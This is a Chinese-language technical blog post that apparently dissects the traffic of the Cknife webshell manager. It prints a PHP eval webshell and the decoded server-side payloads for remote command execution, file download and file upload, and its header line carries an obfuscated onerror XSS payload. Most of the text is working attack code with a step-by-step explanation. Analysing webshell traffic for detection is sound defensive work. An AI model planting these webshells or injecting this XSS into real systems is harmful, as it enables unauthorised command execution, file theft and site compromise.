本文首发:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo
0x01 环境
<?php eval($_REQUEST['shell'] ?>
0x02 命令执行
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();
#z1
cmd
#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]
z2
是whoami
经过cknife
的组合再经过base64
编码后的结果,cknife
通过eval
执行action
中的代码,把POST的z1
和z2
用base64_decode
解码,再把z1
和z2
组合成$r
,最后用system
执行$r
,打印执行结果。
经过cknife
的格式处理,返回的结果变成了上图的样子,->|
和|<-
中间的内容就是执行命令的结果
0x03 文件下载
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
#z1
C:\wamp64\www\index.php
z1
是目标文件路径经过base64
编码后的结果,cknife
通过eval
执行action
中的代码,用base64_decode
获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()
输出文件的内容,最后将输出的文件内容写入到本地文件中。
有一点需要注意,cknife
可能会将返回的所有内容输出到文件中,所以需要手动取出->|
和|<-
之间的内容,否则文件可能格式错误
0x04 文件上传
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
#z1
C:\wamp64\www\test.txt
#z2
this is a test
z1
是目标文件路径经过base64
编码后的结果,z2
是本地文件的内容经过hex
编码后的结果,cknife
通过eval
执行action
中的代码,用base64_decode
先获取目标文件的路径,然后获取z2
的内容,使用for
循环将原来的hex
编码转换为URL
编码,再用urldecode
进行解码,追加给$buf
,for
循环结束后$buf
就是文件的内容,最后写入目标文件中,写入成功返回1
,写入失败返回0
如果->|
和|<-
之间的内容为1
,则代表文件上传成功